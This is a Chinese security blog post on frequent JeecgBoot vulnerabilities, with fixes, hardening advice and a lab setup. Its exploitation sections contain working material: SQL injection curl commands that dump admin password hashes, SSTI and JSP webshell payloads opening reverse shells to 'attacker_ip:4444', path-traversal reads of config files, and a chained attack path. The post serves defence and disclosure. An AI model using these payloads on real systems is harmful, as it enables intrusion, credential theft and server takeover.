代码改变世界

【Web安全】JeecgBoot框架SRC高频漏洞分析总结 - 详解

2025-12-06 08:33  tlnshuju  阅读(1)  评论(0)    收藏  举报

前言

JeecgBoot是国内主流的开源低代码开发平台,基于Spring Boot、MyBatis-Plus、Vue3等技术栈构建,涵盖快速开发、表单设计、报表统计、流程引擎等核心功能,广泛应用于政府、企业、互联网等领域,承担业务系统快速搭建、数据管理、协同办公等关键任务。

其架构核心为“前端可视化设计层(Vue3+Element Plus)”、“后端服务层(Spring Boot+Spring Security)”、“数据持久层(MyBatis-Plus+Minidao)”、“第三方组件层(Fastjson、Jmreport、AviatorScript)”。随着低代码开发模式的普及,JeecgBoot因“快速开发优先于安全配置”的设计特性、第三方组件漏洞遗留、默认配置弱化安全校验等问题,暴露出高频安全漏洞,成为安全响应中心(SRC)常见上报类型,可能导致敏感数据泄露、服务器被控、业务系统篡改等严重后果。本文针对JeecgBoot高频漏洞展开深度分析,为安全防护提供技术参考。

一、核心漏洞分类与技术细节

1. SQL注入漏洞(3.4.3≤版本≤3.8.1)

漏洞原理

JeecgBoot部分自动生成的接口及报表查询模块未使用参数化查询,直接拼接用户输入作为SQL语句执行,部分接口存在黑名单校验绕过问题:

  • 报表模块/jeecg-boot/online/cgreport/head/parseSql接口,带括号表名触发SQL解析异常,导致黑名单过滤失效;
  • 积木报表/jmreport/qurestSql接口的apiSelectId参数未做预处理,直接拼接进SELECT语句;
  • 依赖的Minidao持久层框架未强制启用参数化查询,开发者自定义SQL时易引发注入风险。
利用场景

攻击者通过构造恶意参数发起请求,获取数据库敏感数据或管理员凭证:
访问http://target:8080/jeecg-boot/jmreport/qurestSql?apiSelectId=1 UNION SELECT 1,username,password,4 FROM sys_user WHERE role_id='admin'--
提取响应中管理员账号admin及密码哈希e10adc3949ba59abbe56e057f20f883e(MD5加密的“123456”);
通过彩虹表破解哈希,获取明文密码后登录系统。

修复方案

升级至JeecgBoot 3.8.1+版本(官方修复SQL解析逻辑与注入点);
接口加固:所有SQL查询统一使用MyBatis-Plus参数化查询(#{}占位符),禁用字符串拼接(${});
组件升级:将Minidao升级至1.9.0+版本,启用SQL注入防护开关;
输入过滤:对报表查询、数据统计类接口添加关键词过滤(UNIONINSERTOR等)。

2. SSTI模板注入与RCE漏洞(3.5.0≤版本≤3.8.0)

漏洞原理

JeecgBoot集成的Jmreport积木报表、AviatorScript表达式引擎存在模板解析安全缺陷:

  • Jmreport组件未过滤Freemarker模板中的恶意表达式,允许${}语法执行系统命令;
  • AviatorScript引擎在处理用户输入的表达式时,未限制危险类调用,可通过反射触发任意代码执行;
  • 漏洞接口多未做身份认证,攻击者无需登录即可利用。
利用场景

攻击者通过构造恶意模板表达式,实现远程代码执行:
发送POST请求至http://target:8080/jeecg-boot/jmreport/loadTableData,请求体为:

{
"reportId": "1",
"params": {
"name": "${new java.lang.ProcessBuilder(new String[]{\"bash\",\"-i\",\">&\",\"/dev/tcp/attacker_ip/4444\",\"0>&1\"}).start()}"
}
}

攻击机监听4444端口,成功获取服务器反弹Shell,进而控制整个业务系统。

修复方案

升级至JeecgBoot 3.8.1+版本(官方限制模板表达式执行权限);
组件配置加固:禁用Freemarker模板的new关键字与静态方法调用,限制AviatorScript可调用的类白名单;
接口防护:为Jmreport、表达式解析类接口添加身份认证与权限校验,仅允许管理员访问。

3. 未授权访问与权限绕过漏洞(全版本默认配置)

漏洞原理

JeecgBoot部分核心接口未配置身份认证,或鉴权逻辑存在缺陷可被绕过:

  • 数据接口:/sys/user/checkOnlyUser(未授权查询用户名存在性)、/sys/role/list(未授权获取角色信息);
  • 功能接口:/api/jeecg-boot/sys/common/upload(未授权文件上传)、/online/cgreport/exportExcel(未授权导出报表数据);
  • 路径遍历绕过:通过../目录穿越绕过接口鉴权,访问敏感资源。
利用场景

攻击者无需登录即可批量窃取企业敏感数据:
访问http://target:8080/jeecg-boot/sys/user/checkOnlyUser?username=admin,通过响应状态判断管理员账号是否存在;
访问http://target:8080/jeecg-boot/online/cgreport/exportExcel?reportId=1,直接下载包含客户信息、财务数据的Excel报表;
通过路径遍历http://target:8080/jeecg-boot/api/../sys/config/getConfig,绕过/api接口鉴权,获取数据库连接密码。

修复方案

配置接口权限:在application.yml中启用全局接口鉴权,为/sys/*/online/*/jmreport/*接口添加登录校验;
鉴权逻辑加固:修复路径遍历漏洞,过滤请求URL中的.././等特殊字符;
敏感接口防护:为用户信息查询、数据导出接口添加IP白名单,仅允许企业内网访问。

4. 文件操作漏洞(3.0≤版本≤3.7.0)

漏洞原理

JeecgBoot文件上传与下载模块存在多重安全缺陷:

  • 文件上传:未校验文件后缀与实际内容,允许上传.jsp.jspx等可执行脚本,且上传路径位于Tomcat webapps目录下;
  • 文件读取:目录遍历防护缺失,攻击者可通过构造特殊路径读取系统配置文件、数据库密钥;
  • 权限管控:文件上传接口未限制上传者身份,任意用户均可上传恶意文件。
利用场景

攻击者通过未授权文件上传植入后门,控制服务器:
使用curl发送上传请求:

curl -X POST "http://target:8080/jeecg-boot/sys/common/upload" \
-F "file=@shell.jsp;filename=shell.jsp" \
-F "fileType=image"

其中shell.jsp内容为:

<%@ page import="java.io.*"%>
<%
Runtime.getRuntime().exec("bash -i >& /dev/tcp/attacker_ip/4444 0>&1");
%>

访问http://target:8080/jeecg-boot/upload/shell.jsp,触发后门获取服务器权限;
通过文件读取漏洞访问http://target:8080/jeecg-boot/sys/common/download?path=../../application.yml,获取数据库账号密码。

修复方案

升级至JeecgBoot 3.8.0+版本(官方修复文件操作逻辑);
文件上传加固:添加后缀白名单(仅允许.jpg.pdf.docx等常用格式),校验文件内容(如JPG文件首字节FF D8);
路径配置:将上传文件存储路径移出Tomcat webapps目录,禁用上传目录脚本执行权限;
文件读取防护:限制读取路径前缀,仅允许访问指定文件目录,过滤../等遍历字符。

二、漏洞关联利用与攻击路径

1. 组合攻击示例(JeecgBoot全漏洞链)

步骤1:未授权信息收集
访问http://target:8080/jeecg-boot/sys/user/checkOnlyUser接口,批量探测出管理员账号admin
通过/sys/role/list接口获取企业组织架构与权限配置信息。

步骤2:SQL注入破解密码
利用/jmreport/qurestSql接口注入SQL,查询sys_user表获取admin的密码哈希e10adc3949ba59abbe56e057f20f883e,破解为明文123456

步骤3:文件上传植入后门
使用admin/123456登录系统,进入“文档管理”模块,上传伪装为test.pdf的JSP后门(修改后缀为.jsp),获取后门路径http://target:8080/jeecg-boot/upload/backdoor.jsp

步骤4:内网横向渗透
通过后门获取服务器内网IP段(如192.168.2.0/24),使用Nmap扫描内网其他JeecgBoot实例(默认端口8080),复用未授权访问与SQL注入漏洞,扩大控制范围。

2. 典型攻击载荷

(1)SQL注入获取管理员密码(JeecgBoot 3.7.0)
curl "http://target:8080/jeecg-boot/jmreport/qurestSql?apiSelectId=1' UNION SELECT 1,username,password,4 FROM sys_user WHERE role_id='1'-- "
(2)SSTI模板注入RCE(JeecgBoot 3.6.0)
curl -X POST "http://target:8080/jeecg-boot/jmreport/loadTableData" \
-H "Content-Type: application/json" \
-d '{
"reportId": "test",
"params": {
"cmd": "${Runtime.getRuntime().exec(\"nc attacker_ip 4444 -e /bin/bash\")}"
}
}'
(3)未授权文件上传(JeecgBoot 3.5.0)
curl -X POST "http://target:8080/jeecg-boot/sys/common/upload" \
-F "file=@shell.jsp;filename=shell.jsp" \
-F "bizType=doc" \
-F "fileType=doc"

三、版本演进与修复策略

漏洞类型影响版本修复版本核心变更点
SQL注入漏洞3.4.3≤版本≤3.8.13.8.1+修复jmreport/qurestSql等注入点,强制启用参数化查询
SSTI模板注入与RCE3.5.0≤版本≤3.8.03.8.1+限制Freemarker/AviatorScript危险调用,添加模板表达式白名单
未授权访问与权限绕过全版本默认配置3.8.0+为敏感接口添加登录校验,修复路径遍历漏洞,新增接口权限管理模块
文件操作漏洞3.0≤版本≤3.7.03.8.0+强化文件后缀与内容校验,移出上传文件至非Web目录,禁用脚本执行权限

四、安全运维建议

1. 基础防护

  • 网络隔离:JeecgBoot服务器不直接暴露公网,通过堡垒机或VPN供内部人员访问;仅开放80/443等必要端口,限制办公网IP访问。
  • 配置加固:
    • 修改默认账号密码:强制将admin默认密码(123456)改为“大小写字母+数字+特殊符号”组合,定期轮换;
    • 禁用危险功能:关闭未使用的Jmreport报表功能、AviatorScript表达式引擎,删除bsh.jar等风险组件;
    • 数据库防护:限制JeecgBoot服务器IP仅能访问数据库,禁止数据库账号远程登录,启用数据库审计日志。

2. 动态监测

  • WAF规则拦截:
    • 拦截SQL注入请求:过滤含UNIONAND 1=1OR等关键词的请求;
    • 拦截SSTI注入请求:过滤Freemarker模板表达式${}#{}, 限制危险类调用;
    • 拦截恶意文件上传:过滤.jsp.jspx.asp等可执行后缀,拦截包含Runtime.exec的文件内容。
  • 日志审计:
    • 监控登录日志:重点关注异地登录、多次登录失败事件,防范暴力破解;
    • 监控敏感操作:跟踪文件上传、数据导出、SQL查询等行为,发现异常及时阻断;
    • 日志分析:使用ELK等工具集中管理日志,定期排查潜在攻击行为。

3. 版本管理

  • 定期版本检查:通过JeecgBoot后台“系统监控-关于”查看版本,对照官方漏洞公告确认风险;使用官方提供的漏洞检测工具扫描当前系统。
  • 自动化升级:在CI/CD流程中集成OWASP Dependency-Check工具,检测第三方组件漏洞;官方发布安全补丁后,72小时内完成测试与升级(优先升级生产环境)。

五、典型漏洞复现环境搭建

1. 环境配置(以JeecgBoot 3.7.0为例)

步骤1:环境准备
  • 操作系统:Windows Server 2019(或Linux Ubuntu 20.04);
  • 依赖软件:JDK 1.8(配置JAVA_HOME)、Tomcat 9.0(端口8080)、MySQL 8.0(编码utf8mb4)、Maven 3.6.3;
  • 漏洞版本:JeecgBoot 3.7.0(可从GitHub官方仓库下载源码)。
步骤2:初始化部署
  • 下载JeecgBoot 3.7.0源码,修改application-dev.yml中的MySQL连接信息(数据库名jeecg-boot,用户名root,密码123456);
  • 执行数据库初始化脚本(db/jeecg-boot-mysql-3.7.0.sql);
  • 使用Maven打包:mvn clean package -Dmaven.test.skip=true,获取jeecg-boot.war文件;
  • jeecg-boot.war放入Tomcat的webapps目录,启动Tomcat自动解压部署。
步骤3:服务启动
  • 启动MySQL:net start mysql(Windows)或systemctl start mysqld(Linux);
  • 启动Tomcat:运行Tomcat/bin/startup.bat(Windows)或startup.sh(Linux);
  • 验证访问:访问http://localhost:8080/jeecg-boot/login,使用默认账号admin/123456登录。

2. 漏洞验证(SQL注入漏洞)

步骤1:构造恶意请求

使用curl构造SQL注入请求,获取管理员账号密码:

curl "http://localhost:8080/jeecg-boot/jmreport/qurestSql?apiSelectId=1' UNION SELECT 1,username,password,4 FROM sys_user WHERE role_id='1'-- "
步骤2:解析响应结果

响应中会返回admin账号及对应的密码哈希e10adc3949ba59abbe56e057f20f883e

步骤3:破解密码

通过MD5彩虹表查询,破解哈希值为明文密码123456,成功获取管理员凭证。

3. 参考链接

  • JeecgBoot官方漏洞公告:https://www.jeecg.com/docs/other/security-notice
  • Vulhub JeecgBoot漏洞环境:https://github.com/vulhub/vulhub/tree/master/jeecgboot
  • JeecgBoot SQL注入漏洞深度分析:https://xz.aliyun.com/t/12089

六、总结

JeecgBoot的高频漏洞主要源于低代码开发模式的安全校验缺失、第三方组件漏洞遗留、默认配置弱化安全防护三大核心问题。作为企业快速开发业务系统的核心框架,其漏洞一旦被利用,不仅会导致敏感数据泄露、业务系统瘫痪,还可能成为攻击者突破企业内网的“跳板”。